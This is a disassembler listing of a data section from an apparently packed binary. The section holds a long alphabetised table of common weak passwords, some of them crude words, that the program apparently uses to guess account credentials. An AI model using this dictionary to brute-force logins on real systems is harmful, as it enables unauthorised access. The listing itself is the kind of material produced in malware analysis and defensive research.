aStuttgar	db 'stuttgar',0         ; DATA XREF: .nsp0:004278C0o
		align 4
aStrip		db 'strip',0            ; DATA XREF: .nsp0:004278B8o
		align 4
aString		db 'string',0           ; DATA XREF: .nsp0:004278B4o
		align 4
aStreetfi	db 'streetfi',0         ; DATA XREF: .nsp0:004278B0o
		align 10h
aStratfor	db 'stratfor',0         ; DATA XREF: .nsp0:004278ACo
		align 4
aStrangle	db 'strangle',0         ; DATA XREF: .nsp0:004278A8o
		align 4
aStrange	db 'strange',0          ; DATA XREF: .nsp0:004278A4o
aStones		db 'stones',0           ; DATA XREF: .nsp0:004278A0o
		align 4
aStoned		db 'stoned',0           ; DATA XREF: .nsp0:0042789Co
		align 10h
aStoneage	db 'stoneage',0         ; DATA XREF: .nsp0:00427898o
		align 4
aSteve		db 'steve',0            ; DATA XREF: .nsp0:00427894o
		align 4
aStereo		db 'stereo',0           ; DATA XREF: .nsp0:00427890o
		align 4
aStephani	db 'stephani',0         ; DATA XREF: .nsp0:0042788Co
		align 4
aSteph		db 'steph',0            ; DATA XREF: .nsp0:00427888o
		align 10h
aSteel		db 'steel',0            ; DATA XREF: .nsp0:00427884o
		align 4
aSteal		db 'steal',0            ; DATA XREF: .nsp0:00427880o
		align 10h
aSteak		db 'steak',0            ; DATA XREF: .nsp0:0042787Co
		align 4
aStarwars	db 'starwars',0         ; DATA XREF: .nsp0:00427878o
		align 4
aStartup	db 'startup',0          ; DATA XREF: .nsp0:00427874o
aStartrek	db 'startrek',0         ; DATA XREF: .nsp0:00427870o
		align 4
aStart		db 'start',0            ; DATA XREF: sub_401AA1+3CEFo
					; .nsp0:0042786Co
		align 10h
aStarship	db 'starship',0         ; DATA XREF: .nsp0:00427868o
		align 4
aStar		db 'star',0             ; DATA XREF: .nsp0:00427864o
		align 4
aStacy		db 'stacy',0            ; DATA XREF: .nsp0:00427860o
		align 4
aStacie		db 'stacie',0           ; DATA XREF: .nsp0:0042785Co
		align 4
aStaci		db 'staci',0            ; DATA XREF: .nsp0:00427858o
		align 4
aStacey		db 'stacey',0           ; DATA XREF: .nsp0:00427854o
		align 4
aSr71		db 'sr71',0             ; DATA XREF: .nsp0:00427850o
		align 4
aSquires	db 'squires',0          ; DATA XREF: .nsp0:0042784Co
aSpunk		db 'spunk',0            ; DATA XREF: .nsp0:00427848o
		align 4
aSpringer	db 'springer',0         ; DATA XREF: .nsp0:00427844o
		align 4
aSpring		db 'spring',0           ; DATA XREF: .nsp0:00427840o
		align 10h
aSpred		db 'spred',0            ; DATA XREF: .nsp0:0042783Co
		align 4
aSpit		db 'spit',0             ; DATA XREF: .nsp0:00427838o
		align 10h
aSpiderma	db 'spiderma',0         ; DATA XREF: .nsp0:00427834o
		align 4
aSpider		db 'spider',0           ; DATA XREF: .nsp0:00427830o
		align 4
aSpice		db 'spice',0            ; DATA XREF: .nsp0:0042782Co
		align 4
aSpell		db 'spell',0            ; DATA XREF: .nsp0:00427828o
		align 4
aSpear		db 'spear',0            ; DATA XREF: .nsp0:00427824o
		align 4
aSparrows	db 'sparrows',0         ; DATA XREF: .nsp0:00427820o
		align 4
aSpaceshi	db 'spaceshi',0         ; DATA XREF: .nsp0:0042781Co
		align 4
aSouth		db 'south',0            ; DATA XREF: .nsp0:00427818o
		align 4
aSource		db 'source',0           ; DATA XREF: .nsp0:00427814o
		align 4
aSossina	db 'sossina',0          ; DATA XREF: .nsp0:00427810o
aSonya		db 'sonya',0            ; DATA XREF: .nsp0:0042780Co
		align 4
aSonic		db 'sonic',0            ; DATA XREF: .nsp0:00427808o
		align 4
aSonia		db 'sonia',0            ; DATA XREF: .nsp0:00427804o
		align 4
aSondra		db 'sondra',0           ; DATA XREF: .nsp0:00427800o
		align 4
aSomebody	db 'somebody',0         ; DATA XREF: .nsp0:004277FCo
		align 4
aSoftware	db 'software',0         ; DATA XREF: .nsp0:004277F8o
		align 4
aSoft		db 'soft',0             ; DATA XREF: .nsp0:004277F4o
		align 4
aSodomy		db 'sodomy',0           ; DATA XREF: .nsp0:004277F0o
		align 4
aSocrates	db 'socrates',0         ; DATA XREF: .nsp0:004277ECo
		align 10h
aSocial		db 'social',0           ; DATA XREF: .nsp0:004277E8o
		align 4
aSoap		db 'soap',0             ; DATA XREF: .nsp0:004277E4o
		align 10h
aSnoopy		db 'snoopy',0           ; DATA XREF: .nsp0:004277E0o
		align 4
aSnatch		db 'snatch',0           ; DATA XREF: .nsp0:004277DCo
		align 10h
aSnake		db 'snake',0            ; DATA XREF: .nsp0:004277D8o
		align 4
aSnafu		db 'snafu',0            ; DATA XREF: .nsp0:004277D4o
		align 10h
aSnach		db 'snach',0            ; DATA XREF: .nsp0:004277D0o
		align 4
aSmut		db 'smut',0             ; DATA XREF: .nsp0:004277CCo
		align 10h
aSmtp		db 'smtp',0             ; DATA XREF: .nsp0:004277C8o
		align 4
aSmother	db 'smother',0          ; DATA XREF: .nsp0:004277C4o
aSmooch		db 'smooch',0           ; DATA XREF: .nsp0:004277C0o
		align 4
aSmiles		db 'smiles',0           ; DATA XREF: .nsp0:004277BCo
		align 10h
aSmile		db 'smile',0            ; DATA XREF: .nsp0:004277B8o
		align 4
aSmart		db 'smart',0            ; DATA XREF: .nsp0:004277B4o
		align 10h
aSmall		db 'small',0            ; DATA XREF: .nsp0:004277B0o
		align 4
aSlut		db 'slut',0             ; DATA XREF: .nsp0:004277ACo
		align 10h
aSlow		db 'slow',0             ; DATA XREF: .nsp0:004277A8o
		align 4
aSliders	db 'sliders',0          ; DATA XREF: .nsp0:004277A4o
aSlick		db 'slick',0            ; DATA XREF: .nsp0:004277A0o
		align 4
aSlave		db 'slave',0            ; DATA XREF: .nsp0:0042779Co
		align 10h
aSkull		db 'skull',0            ; DATA XREF: .nsp0:00427798o
		align 4
aSite		db 'site',0             ; DATA XREF: .nsp0:00427794o
		align 10h
aSingle		db 'single',0           ; DATA XREF: .nsp0:00427790o
		align 4
aSinger		db 'singer',0           ; DATA XREF: .nsp0:0042778Co
		align 10h
aSimulati	db 'simulati',0         ; DATA XREF: .nsp0:00427788o
		align 4
aSimpsons	db 'simpsons',0         ; DATA XREF: .nsp0:00427784o
		align 4
aSimple		db 'simple',0           ; DATA XREF: .nsp0:00427780o
		align 10h
aSimon		db 'simon',0            ; DATA XREF: .nsp0:0042777Co
		align 4
aSimcity	db 'simcity',0          ; DATA XREF: .nsp0:00427778o
aSilver		db 'silver',0           ; DATA XREF: .nsp0:00427774o
		align 4
aSignatur	db 'signatur',0         ; DATA XREF: .nsp0:00427770o
		align 4
aSierra		db 'sierra',0           ; DATA XREF: .nsp0:0042776Co
		align 4
aSick		db 'sick',0             ; DATA XREF: .nsp0:00427768o
		align 4
aShuttle	db 'shuttle',0          ; DATA XREF: .nsp0:00427764o
aShort		db 'short',0            ; DATA XREF: .nsp0:00427760o
		align 4
aShivers	db 'shivers',0          ; DATA XREF: .nsp0:0042775Co
aShiva		db 'shiva',0            ; DATA XREF: .nsp0:00427758o
		align 4
aShitpot	db 'shitpot',0          ; DATA XREF: .nsp0:00427754o
aShit		db 'shit',0             ; DATA XREF: .nsp0:00427750o
					; .nsp0:0043B43Co
		align 4
aShirley	db 'shirley',0          ; DATA XREF: .nsp0:0042774Co
aShift		db 'shift',0            ; DATA XREF: .nsp0:00427748o
		align 4
aSherri		db 'sherri',0           ; DATA XREF: .nsp0:00427744o
		align 4
aShell		db 'shell',0            ; DATA XREF: .nsp0:00427740o
		align 4
aSheldon	db 'sheldon',0          ; DATA XREF: .nsp0:0042773Co
aSheffiel	db 'sheffiel',0         ; DATA XREF: .nsp0:00427738o
		align 4
aSharon		db 'sharon',0           ; DATA XREF: .nsp0:00427734o
		align 10h
aSharks		db 'sharks',0           ; DATA XREF: .nsp0:00427730o
		align 4
aShark		db 'shark',0            ; DATA XREF: .nsp0:0042772Co
		align 10h
aSharc		db 'sharc',0            ; DATA XREF: .nsp0:00427728o
		align 4
aShannon	db 'shannon',0          ; DATA XREF: .nsp0:00427724o
aSexy		db 'sexy',0             ; DATA XREF: .nsp0:00427720o
		align 4
aSesame		db 'sesame',0           ; DATA XREF: .nsp0:0042771Co
		align 10h
aService	db 'service',0          ; DATA XREF: .nsp0:00427718o
					; .nsp0:004282E0o
aSerial		db 'serial',0           ; DATA XREF: .nsp0:00427714o
		align 10h
aSerenity	db 'serenity',0         ; DATA XREF: .nsp0:00427710o
		align 4
aSentry		db 'sentry',0           ; DATA XREF: .nsp0:0042770Co
		align 4
aSentinel	db 'sentinel',0         ; DATA XREF: .nsp0:00427708o
		align 10h
aSensor		db 'sensor',0           ; DATA XREF: .nsp0:00427704o
		align 4
aSega		db 'sega',0             ; DATA XREF: .nsp0:00427700o
		align 10h
aSeed		db 'seed',0             ; DATA XREF: .nsp0:004276FCo
		align 4
aSecurity	db 'security',0         ; DATA XREF: .nsp0:004276F8o
		align 4
aSearch		db 'search',0           ; DATA XREF: .nsp0:004276F4o
		align 4
aScout		db 'scout',0            ; DATA XREF: .nsp0:004276F0o
		align 4
aScotty		db 'scotty',0           ; DATA XREF: .nsp0:004276ECo
		align 4
aScott		db 'scott',0            ; DATA XREF: .nsp0:004276E8o
		align 4
aScorpion	db 'scorpion',0         ; DATA XREF: .nsp0:004276E4o
		align 10h
aScifi		db 'scifi',0            ; DATA XREF: .nsp0:004276E0o
		align 4
aSchoolsucks	db 'schoolsucks',0      ; DATA XREF: .nsp0:004276DCo
aSchool		db 'school',0           ; DATA XREF: .nsp0:004276D8o
		align 4
aScheme		db 'scheme',0           ; DATA XREF: .nsp0:004276D4o
		align 4
aScamper	db 'scamper',0          ; DATA XREF: .nsp0:004276D0o
aSaxon		db 'saxon',0            ; DATA XREF: .nsp0:004276CCo
		align 4
aSaturn		db 'saturn',0           ; DATA XREF: .nsp0:004276C8o
		align 4
aSaturday	db 'saturday',0         ; DATA XREF: .nsp0:004276C4o
		align 4
aSarah		db 'sarah',0            ; DATA XREF: .nsp0:004276C0o
		align 10h
aSara		db 'sara',0             ; DATA XREF: .nsp0:004276BCo
		align 4
aSandy		db 'sandy',0            ; DATA XREF: .nsp0:004276B8o
		align 10h
aSandra		db 'sandra',0           ; DATA XREF: .nsp0:004276B4o
		align 4
aSample		db 'sample',0           ; DATA XREF: .nsp0:004276B0o
		align 10h
aSamantha	db 'samantha',0         ; DATA XREF: .nsp0:004276ACo
		align 4
aSalt		db 'salt',0             ; DATA XREF: .nsp0:004276A8o
		align 4
aSale		db 'sale',0             ; DATA XREF: .nsp0:004276A4o
		align 4
aSalami		db 'salami',0           ; DATA XREF: .nsp0:004276A0o
		align 4
aSafe		db 'safe',0             ; DATA XREF: .nsp0:0042769Co
		align 4
aRuth		db 'ruth',0             ; DATA XREF: .nsp0:00427698o
		align 4
aRush		db 'rush',0             ; DATA XREF: .nsp0:00427694o
		align 4
aRunning	db 'running',0          ; DATA XREF: .nsp0:00427690o
aRules		db 'rules',0            ; DATA XREF: .nsp0:0042768Co
		align 4
aRude		db 'rude',0             ; DATA XREF: .nsp0:00427688o
		align 4
aRuby		db 'ruby',0             ; DATA XREF: .nsp0:00427684o
		align 4
aRuben		db 'ruben',0            ; DATA XREF: .nsp0:00427680o
		align 4
aRubber		db 'rubber',0           ; DATA XREF: .nsp0:0042767Co
		align 4
aRough		db 'rough',0            ; DATA XREF: .nsp0:00427678o
		align 4
aRoses		db 'roses',0            ; DATA XREF: .nsp0:00427674o
		align 4
aRosemary	db 'rosemary',0         ; DATA XREF: .nsp0:00427670o
		align 4
aRosebud	db 'rosebud',0          ; DATA XREF: .nsp0:0042766Co
aRose		db 'rose',0             ; DATA XREF: .nsp0:00427668o
		align 4
aRonald		db 'ronald',0           ; DATA XREF: .nsp0:00427664o
		align 10h
aRomulan	db 'romulan',0          ; DATA XREF: .nsp0:00427660o
aRomeo		db 'romeo',0            ; DATA XREF: .nsp0:0042765Co
		align 10h
aRomano		db 'romano',0           ; DATA XREF: .nsp0:00427658o
		align 4
aRolex		db 'rolex',0            ; DATA XREF: .nsp0:00427654o
		align 10h
aRodent		db 'rodent',0           ; DATA XREF: .nsp0:00427650o
		align 4
aRockyhor	db 'rockyhor',0         ; DATA XREF: .nsp0:0042764Co
		align 4
aRocky		db 'rocky',0            ; DATA XREF: .nsp0:00427648o
		align 4
aRock		db 'rock',0             ; DATA XREF: .nsp0:00427644o
		align 4
aRocheste	db 'rocheste',0         ; DATA XREF: .nsp0:00427640o
		align 10h
aRochelle	db 'rochelle',0         ; DATA XREF: .nsp0:0042763Co
		align 4
aRobyn		db 'robyn',0            ; DATA XREF: .nsp0:00427638o
		align 4
aRobotics	db 'robotics',0         ; DATA XREF: .nsp0:00427634o
		align 10h
aRobot		db 'robot',0            ; DATA XREF: .nsp0:00427630o
		align 4
aRobin		db 'robin',0            ; DATA XREF: .nsp0:0042762Co
		align 10h
aRobert		db 'robert',0           ; DATA XREF: .nsp0:00427628o
		align 4
aRoach		db 'roach',0            ; DATA XREF: .nsp0:00427624o
		align 10h
aRisc		db 'risc',0             ; DATA XREF: .nsp0:00427620o
		align 4
aRipple		db 'ripple',0           ; DATA XREF: .nsp0:0042761Co
		align 10h
aRiot		db 'riot',0             ; DATA XREF: .nsp0:00427618o
		align 4
aRing		db 'ring',0             ; DATA XREF: .nsp0:00427614o
		align 10h
aRightwin	db 'rightwin',0         ; DATA XREF: .nsp0:00427610o
		align 4
aRight		db 'right',0            ; DATA XREF: .nsp0:0042760Co
		align 4
aRiffraff	db 'riffraff',0         ; DATA XREF: .nsp0:00427608o
		align 10h
aRick		db 'rick',0             ; DATA XREF: .nsp0:00427604o
		align 4
aRich		db 'rich',0             ; DATA XREF: .nsp0:00427600o
		align 10h
aRhino		db 'rhino',0            ; DATA XREF: .nsp0:004275FCo
		align 4
aReveal		db 'reveal',0           ; DATA XREF: .nsp0:004275F8o
		align 10h
aResistan	db 'resistan',0         ; DATA XREF: .nsp0:004275F4o
		align 4
aRepublic	db 'republic',0         ; DATA XREF: .nsp0:004275F0o
		align 4
aReport		db 'report',0           ; DATA XREF: .nsp0:004275ECo
		align 10h
aRent		db 'rent',0             ; DATA XREF: .nsp0:004275E8o
		align 4
aReno		db 'reno',0             ; DATA XREF: .nsp0:004275E4o
		align 10h
aRenee		db 'renee',0            ; DATA XREF: .nsp0:004275E0o
		align 4
aRemote		db 'remote',0           ; DATA XREF: .nsp0:004275DCo
		align 10h
aRelease	db 'release',0          ; DATA XREF: .nsp0:004275D8o
aRegional	db 'regional',0         ; DATA XREF: .nsp0:004275D4o
		align 4
aReferenc	db 'referenc',0         ; DATA XREF: .nsp0:004275D0o
		align 10h
aRedhead	db 'redhead',0          ; DATA XREF: .nsp0:004275CCo
aReddawn	db 'reddawn',0          ; DATA XREF: .nsp0:004275C8o
aRecord		db 'record',0           ; DATA XREF: .nsp0:004275C4o
		align 4
aRebel		db 'rebel',0            ; DATA XREF: .nsp0:004275C0o
		align 10h
aRebecca	db 'rebecca',0          ; DATA XREF: .nsp0:004275BCo
aRebal		db 'rebal',0            ; DATA XREF: .nsp0:004275B8o
		align 10h
aReaper		db 'reaper',0           ; DATA XREF: .nsp0:004275B4o
		align 4
aReam		db 'ream',0             ; DATA XREF: .nsp0:004275B0o
		align 10h
aReally		db 'really',0           ; DATA XREF: .nsp0:004275ACo
		align 4
aReality	db 'reality',0          ; DATA XREF: .nsp0:004275A8o
aReagan		db 'reagan',0           ; DATA XREF: .nsp0:004275A4o
		align 4
aRazor		db 'razor',0            ; DATA XREF: .nsp0:004275A0o
		align 10h
aRascal		db 'rascal',0           ; DATA XREF: .nsp0:0042759Co
		align 4
aRape		db 'rape',0             ; DATA XREF: .nsp0:00427598o
		align 10h
aRandom_0	db 'random',0           ; DATA XREF: sub_401AA1+4A2Fo
					; sub_412BE2+2FDo ...
		align 4
aRaleigh	db 'raleigh',0          ; DATA XREF: .nsp0:00427590o
aRaindrop	db 'raindrop',0         ; DATA XREF: .nsp0:0042758Co
		align 4
aRainbow	db 'rainbow',0          ; DATA XREF: .nsp0:00427588o
aRain		db 'rain',0             ; DATA XREF: .nsp0:00427584o
		align 4
aRaid		db 'raid',0             ; DATA XREF: .nsp0:00427580o
		align 4
aRachmani	db 'rachmani',0         ; DATA XREF: .nsp0:0042757Co
		align 10h
aRachelle	db 'rachelle',0         ; DATA XREF: .nsp0:00427578o
		align 4
aRachel		db 'rachel',0           ; DATA XREF: .nsp0:00427574o
		align 4
aRabbit		db 'rabbit',0           ; DATA XREF: .nsp0:00427570o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .nsp0:0042756Co
					; .nsp0:004282C4o
		align 4
aQwert		db 'qwert',0            ; DATA XREF: .nsp0:00427568o
					; .nsp0:004282C0o
		align 4
aQuebec		db 'quebec',0           ; DATA XREF: .nsp0:00427564o
		align 4
aPussy		db 'pussy',0            ; DATA XREF: .nsp0:00427560o
		align 4
aPuppet		db 'puppet',0           ; DATA XREF: .nsp0:0042755Co
		align 4
aPunk		db 'punk',0             ; DATA XREF: .nsp0:00427558o
		align 4
aPunisher	db 'punisher',0         ; DATA XREF: .nsp0:00427554o
		align 4
aPuneet		db 'puneet',0           ; DATA XREF: .nsp0:00427550o
		align 10h
aPumpkin	db 'pumpkin',0          ; DATA XREF: .nsp0:0042754Co
aPuke		db 'puke',0             ; DATA XREF: .nsp0:00427548o
		align 10h
aPuck		db 'puck',0             ; DATA XREF: .nsp0:00427544o
		align 4
aPublic		db 'public',0           ; DATA XREF: .nsp0:00427540o
		align 10h
aPsychopa	db 'psychopa',0         ; DATA XREF: .nsp0:0042753Co
		align 4
aPsycho		db 'psycho',0           ; DATA XREF: .nsp0:00427538o
		align 4
aProtozoa	db 'protozoa',0         ; DATA XREF: .nsp0:00427534o
		align 10h
aProtect	db 'protect',0          ; DATA XREF: .nsp0:00427530o
aPrompt		db 'prompt',0           ; DATA XREF: .nsp0:0042752Co
		align 10h
aProgram	db 'program',0          ; DATA XREF: .nsp0:00427528o
aProfile	db 'profile',0          ; DATA XREF: .nsp0:00427524o
aProfesso	db 'professo',0         ; DATA XREF: .nsp0:00427520o
		align 4
aProcesso	db 'processo',0         ; DATA XREF: .nsp0:0042751Co
		align 4
aProceed	db 'proceed',0          ; DATA XREF: .nsp0:00427518o
aPrivs		db 'privs',0            ; DATA XREF: .nsp0:00427514o
		align 4
aPrivate	db 'private',0          ; DATA XREF: .nsp0:00427510o
aPriv		db 'priv',0             ; DATA XREF: .nsp0:0042750Co
		align 4
aPrinter	db 'printer',0          ; DATA XREF: .nsp0:00427508o
aPrinceto	db 'princeto',0         ; DATA XREF: .nsp0:00427504o
		align 4
aPrince		db 'prince',0           ; DATA XREF: .nsp0:00427500o
		align 4
aPresto		db 'presto',0           ; DATA XREF: .nsp0:004274FCo
		align 4
aPrelude	db 'prelude',0          ; DATA XREF: .nsp0:004274F8o
aPrecious	db 'precious',0         ; DATA XREF: .nsp0:004274F4o
		align 10h
aPraise		db 'praise',0           ; DATA XREF: .nsp0:004274F0o
		align 4
aPower		db 'power',0            ; DATA XREF: .nsp0:004274ECo
		align 10h
aPoster		db 'poster',0           ; DATA XREF: .nsp0:004274E8o
		align 4
aPost		db 'post',0             ; DATA XREF: .nsp0:004274E4o
		align 10h
aPorsche	db 'porsche',0          ; DATA XREF: .nsp0:004274E0o
aPorno		db 'porno',0            ; DATA XREF: .nsp0:004274DCo
		align 10h
aPorn		db 'porn',0             ; DATA XREF: .nsp0:004274D8o
		align 4
aPork		db 'pork',0             ; DATA XREF: .nsp0:004274D4o
		align 10h
aPoor		db 'poor',0             ; DATA XREF: .nsp0:004274D0o
		align 4
aPoop		db 'poop',0             ; DATA XREF: .nsp0:004274CCo
		align 10h
aPonderin	db 'ponderin',0         ; DATA XREF: .nsp0:004274C8o
		align 4
aPolynomi	db 'polynomi',0         ; DATA XREF: .nsp0:004274C4o
		align 4
aPolly		db 'polly',0            ; DATA XREF: .nsp0:004274C0o
		align 10h
aPolice		db 'police',0           ; DATA XREF: .nsp0:004274BCo
		align 4
aPoetry		db 'poetry',0           ; DATA XREF: .nsp0:004274B8o
		align 10h
aPlymouth	db 'plymouth',0         ; DATA XREF: .nsp0:004274B4o
		align 4
aPluto		db 'pluto',0            ; DATA XREF: .nsp0:004274B0o
		align 4
aPlover		db 'plover',0           ; DATA XREF: .nsp0:004274ACo
		align 4
aPlayboy	db 'playboy',0          ; DATA XREF: .nsp0:004274A8o
aPlane		db 'plane',0            ; DATA XREF: .nsp0:004274A4o
		align 4
aPizza		db 'pizza',0            ; DATA XREF: .nsp0:004274A0o
		align 4
aPiss		db 'piss',0             ; DATA XREF: .nsp0:0042749Co
		align 4
aPinname	db 'pinname',0          ; DATA XREF: .nsp0:00427498o
aPimp		db 'pimp',0             ; DATA XREF: .nsp0:00427494o
		align 4
aPierre		db 'pierre',0           ; DATA XREF: .nsp0:00427490o
		align 4
aPick		db 'pick',0             ; DATA XREF: .nsp0:0042748Co
		align 4
aPhuck		db 'phuck',0            ; DATA XREF: .nsp0:00427488o
		align 4
aPhreak		db 'phreak',0           ; DATA XREF: .nsp0:00427484o
		align 4
aPhrase		db 'phrase',0           ; DATA XREF: .nsp0:00427480o
		align 4
aPhrack		db 'phrack',0           ; DATA XREF: .nsp0:0042747Co
		align 4
aPhoton		db 'photon',0           ; DATA XREF: .nsp0:00427478o
		align 4
aPhone		db 'phone',0            ; DATA XREF: .nsp0:00427474o
		align 4
aPhoenix	db 'phoenix',0          ; DATA XREF: .nsp0:00427470o
aPhilip		db 'philip',0           ; DATA XREF: .nsp0:0042746Co
		align 4
aPhil		db 'phil',0             ; DATA XREF: .nsp0:00427468o
		align 4
aPeter		db 'peter',0            ; DATA XREF: .nsp0:00427464o
		align 4
aPete		db 'pete',0             ; DATA XREF: .nsp0:00427460o
		align 4
aPervert	db 'pervert',0          ; DATA XREF: .nsp0:0042745Co
aPersona	db 'persona',0          ; DATA XREF: .nsp0:00427458o
aPersimmo	db 'persimmo',0         ; DATA XREF: .nsp0:00427454o
		align 10h
aPermit		db 'permit',0           ; DATA XREF: .nsp0:00427450o
		align 4
aPerfect	db 'perfect',0          ; DATA XREF: .nsp0:0042744Co
aPercolat	db 'percolat',0         ; DATA XREF: .nsp0:00427448o
		align 4
aPepper		db 'pepper',0           ; DATA XREF: .nsp0:00427444o
		align 4
aPeoria		db 'peoria',0           ; DATA XREF: .nsp0:00427440o
		align 4
aPentium	db 'pentium',0          ; DATA XREF: .nsp0:0042743Co
aPenthous	db 'penthous',0         ; DATA XREF: .nsp0:00427438o
		align 10h
aPentagra	db 'pentagra',0         ; DATA XREF: .nsp0:00427434o
		align 4
aPentagon	db 'pentagon',0         ; DATA XREF: .nsp0:00427430o
		align 4
aPenname	db 'penname',0          ; DATA XREF: .nsp0:0042742Co
aPenis		db 'penis',0            ; DATA XREF: .nsp0:00427428o
		align 4
aPenguin	db 'penguin',0          ; DATA XREF: .nsp0:00427424o
aPenelope	db 'penelope',0         ; DATA XREF: .nsp0:00427420o
		align 4
aPencil		db 'pencil',0           ; DATA XREF: .nsp0:0042741Co
		align 4
aPecker		db 'pecker',0           ; DATA XREF: .nsp0:00427418o
		align 4
aPeanuts	db 'peanuts',0          ; DATA XREF: .nsp0:00427414o
aPaula		db 'paula',0            ; DATA XREF: .nsp0:00427410o
		align 4
aPatty		db 'patty',0            ; DATA XREF: .nsp0:0042740Co
		align 4
aPatriot	db 'patriot',0          ; DATA XREF: .nsp0:00427408o
aPatricia	db 'patricia',0         ; DATA XREF: .nsp0:00427404o
		align 4
aPaste		db 'paste',0            ; DATA XREF: .nsp0:00427400o
		align 10h
aPassphra	db 'passphra',0         ; DATA XREF: .nsp0:004273FCo
		align 4
aPascal		db 'pascal',0           ; DATA XREF: .nsp0:004273F8o
		align 4
aPapers		db 'papers',0           ; DATA XREF: .nsp0:004273F4o
		align 4
aPaper		db 'paper',0            ; DATA XREF: .nsp0:004273F0o
		align 4
aPapa		db 'papa',0             ; DATA XREF: .nsp0:004273ECo
		align 4
aPamela		db 'pamela',0           ; DATA XREF: .nsp0:004273E8o
		align 4
aPakistan	db 'pakistan',0         ; DATA XREF: .nsp0:004273E4o
		align 10h
aPaint		db 'paint',0            ; DATA XREF: .nsp0:004273E0o
		align 4
aPainless	db 'painless',0         ; DATA XREF: .nsp0:004273DCo
		align 4
aPacker		db 'packer',0           ; DATA XREF: .nsp0:004273D8o
		align 4
aPackard	db 'packard',0          ; DATA XREF: .nsp0:004273D4o
aPacific	db 'pacific',0          ; DATA XREF: .nsp0:004273D0o
aOxford		db 'oxford',0           ; DATA XREF: .nsp0:004273CCo
		align 4
aOutside	db 'outside',0          ; DATA XREF: .nsp0:004273C8o
aOutput		db 'output',0           ; DATA XREF: .nsp0:004273C4o
		align 4
aOutlaw		db 'outlaw',0           ; DATA XREF: .nsp0:004273C0o
		align 4
aOutdoors	db 'outdoors',0         ; DATA XREF: .nsp0:004273BCo
		align 4
aOsiris		db 'osiris',0           ; DATA XREF: .nsp0:004273B8o
		align 10h
aOscar		db 'oscar',0            ; DATA XREF: .nsp0:004273B4o
		align 4
aOrwell		db 'orwell',0           ; DATA XREF: .nsp0:004273B0o
		align 10h
aOrient		db 'orient',0           ; DATA XREF: .nsp0:004273ACo
		align 4
aOrca		db 'orca',0             ; DATA XREF: .nsp0:004273A8o
		align 10h
aOperator	db 'operator',0         ; DATA XREF: .nsp0:004273A4o
		align 4
aOpensesa	db 'opensesa',0         ; DATA XREF: .nsp0:004273A0o
		align 4
aOpenlock	db 'openlock',0         ; DATA XREF: .nsp0:0042739Co
		align 4
aOpening	db 'opening',0          ; DATA XREF: .nsp0:00427398o
aOpen		db 'open',0             ; DATA XREF: sub_401AA1+38D2o
					; sub_401AA1+505Ao ...
		align 4
aOmega		db 'omega',0            ; DATA XREF: .nsp0:00427390o
		align 4
aOlivia		db 'olivia',0           ; DATA XREF: .nsp0:0042738Co
		align 4
aOlivetti	db 'olivetti',0         ; DATA XREF: .nsp0:00427388o
		align 10h
aOldage		db 'oldage',0           ; DATA XREF: .nsp0:00427384o
		align 4
aOkay		db 'okay',0             ; DATA XREF: .nsp0:00427380o
		align 10h
aOffice		db 'office',0           ; DATA XREF: .nsp0:0042737Co
		align 4
aOcelot		db 'ocelot',0           ; DATA XREF: .nsp0:00427378o
		align 10h
aOceanogr	db 'oceanogr',0         ; DATA XREF: .nsp0:00427374o
		align 4
aObscurit	db 'obscurit',0         ; DATA XREF: .nsp0:00427370o
		align 4
aNyquist	db 'nyquist',0          ; DATA XREF: .nsp0:0042736Co
aNuts		db 'nuts',0             ; DATA XREF: .nsp0:00427368o
		align 4
aNutritio	db 'nutritio',0         ; DATA XREF: .nsp0:00427364o
		align 4
aNumber		db 'number',0           ; DATA XREF: .nsp0:00427360o
		align 4
aNull_1		db 'null',0             ; DATA XREF: .nsp0:0042735Co
		align 4
aNukem		db 'nukem',0            ; DATA XREF: .nsp0:00427358o
		align 4
aNuke		db 'nuke',0             ; DATA XREF: .nsp0:00427354o
		align 4
aNude		db 'nude',0             ; DATA XREF: .nsp0:00427350o
		align 4
aNuclear	db 'nuclear',0          ; DATA XREF: .nsp0:0042734Co
aNoxious	db 'noxious',0          ; DATA XREF: .nsp0:00427348o
aNovember	db 'november',0         ; DATA XREF: .nsp0:00427344o
		align 4
aNovel		db 'novel',0            ; DATA XREF: .nsp0:00427340o
		align 10h
aNova		db 'nova',0             ; DATA XREF: .nsp0:0042733Co
		align 4
aNoth		db 'noth',0             ; DATA XREF: .nsp0:00427338o
		align 10h
aNotes		db 'notes',0            ; DATA XREF: .nsp0:00427334o
		align 4
aNoreen		db 'noreen',0           ; DATA XREF: .nsp0:00427330o
		align 10h
aNode		db 'node',0             ; DATA XREF: .nsp0:0042732Co
		align 4
aNobody		db 'nobody',0           ; DATA XREF: .nsp0:00427328o
		align 10h
aNoble		db 'noble',0            ; DATA XREF: .nsp0:00427324o
		align 4
aNnaacp		db 'nnaacp',0           ; DATA XREF: .nsp0:00427320o
		align 10h
aNita		db 'nita',0             ; DATA XREF: .nsp0:0042731Co
		align 4
aNintendo	db 'nintendo',0         ; DATA XREF: .nsp0:00427318o
		align 4
aNightmar	db 'nightmar',0         ; DATA XREF: .nsp0:00427314o
		align 10h
aNight		db 'night',0            ; DATA XREF: .nsp0:00427310o
		align 4
aNicotine	db 'nicotine',0         ; DATA XREF: .nsp0:0042730Co
		align 4
aNicole		db 'nicole',0           ; DATA XREF: .nsp0:00427308o
		align 4
aNice		db 'nice',0             ; DATA XREF: .nsp0:00427304o
		align 4
aNext		db 'next',0             ; DATA XREF: .nsp0:00427300o
		align 4
aNewyork	db 'newyork',0          ; DATA XREF: .nsp0:004272FCo
aNewton		db 'newton',0           ; DATA XREF: .nsp0:004272F8o
		align 4
aNewsgrou	db 'newsgrou',0         ; DATA XREF: .nsp0:004272F4o
		align 4
aNews		db 'news',0             ; DATA XREF: .nsp0:004272F0o
		align 10h
aNewborn	db 'newborn',0          ; DATA XREF: .nsp0:004272ECo
aNetwork_0	db 'network',0          ; DATA XREF: .nsp0:004272E8o
aNetscape	db 'netscape',0         ; DATA XREF: .nsp0:004272E4o
		align 4
aNess		db 'ness',0             ; DATA XREF: .nsp0:004272E0o
		align 4
aNeptune	db 'neptune',0          ; DATA XREF: .nsp0:004272DCo
aNepenthe	db 'nepenthe',0         ; DATA XREF: .nsp0:004272D8o
		align 4
aNavy		db 'navy',0             ; DATA XREF: .nsp0:004272D4o
		align 10h
aNasa		db 'nasa',0             ; DATA XREF: .nsp0:004272D0o
		align 4
aNapoleon	db 'napoleon',0         ; DATA XREF: .nsp0:004272CCo
		align 4
aNancy		db 'nancy',0            ; DATA XREF: .nsp0:004272C8o
		align 4
